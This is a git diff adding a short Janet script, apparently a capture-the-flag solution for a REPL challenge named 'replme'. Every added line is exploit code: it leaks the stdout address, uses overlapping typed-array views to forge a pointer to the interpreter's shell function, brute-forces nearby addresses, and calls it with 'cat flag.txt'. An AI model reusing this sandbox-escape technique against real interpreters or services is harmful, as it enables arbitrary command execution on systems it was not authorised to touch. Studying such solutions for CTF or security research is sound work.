1 files changed, 22 insertions, 0 deletions
diff --git a/replme/exploit.janet b/replme/exploit.janet
new file mode 100644
index 0000000..bd68a62
--- /dev/null
+++ b/replme/exploit.janet
@@ -0,0 +1,22 @@
+(def stdout-addr (string/slice (describe stdout) 13 -2))
+(def stdout-msb  (string/slice stdout-addr 0 -8))
+(def stdout-msb  (string/format "fffe%.4x" (bor 0x80000 (scan-number (string/join ["0x" stdout-msb])))))
+(def stdout-lsb  (scan-number (string/join ["0x" (string/slice stdout-addr -8)])))
+
+(def buffer (tarray/buffer 8))
+(def buffer-float64-view (tarray/new :float64 1 1 0 buffer))
+(def buffer-uint32-view (tarray/new :uint32 2 1 0 buffer))
+
+(defn update-buffer [lsb]
+  (let [a (string/slice stdout-msb 0 -2)
+        b (string/join [(string/slice stdout-msb -2) (string/format "%.7x" lsb)])]
+    (set (buffer-uint32-view 1) (scan-number (string/join ["0x" a])))
+    (set (buffer-uint32-view 0) (scan-number (string/join ["0x" b])))))
+
+(def start (bor (band stdout-lsb 0xfff00000) 0x0001f1e0))
+(loop [off :range [0 100000]]
+  (update-buffer (- start (* 0x1000 off)))
+  (when (string/find "os/shell" (describe (buffer-float64-view 0)))
+    (print (describe (buffer-float64-view 0)))
+    ((buffer-float64-view 0) "cat flag.txt")))
+(print "Done.")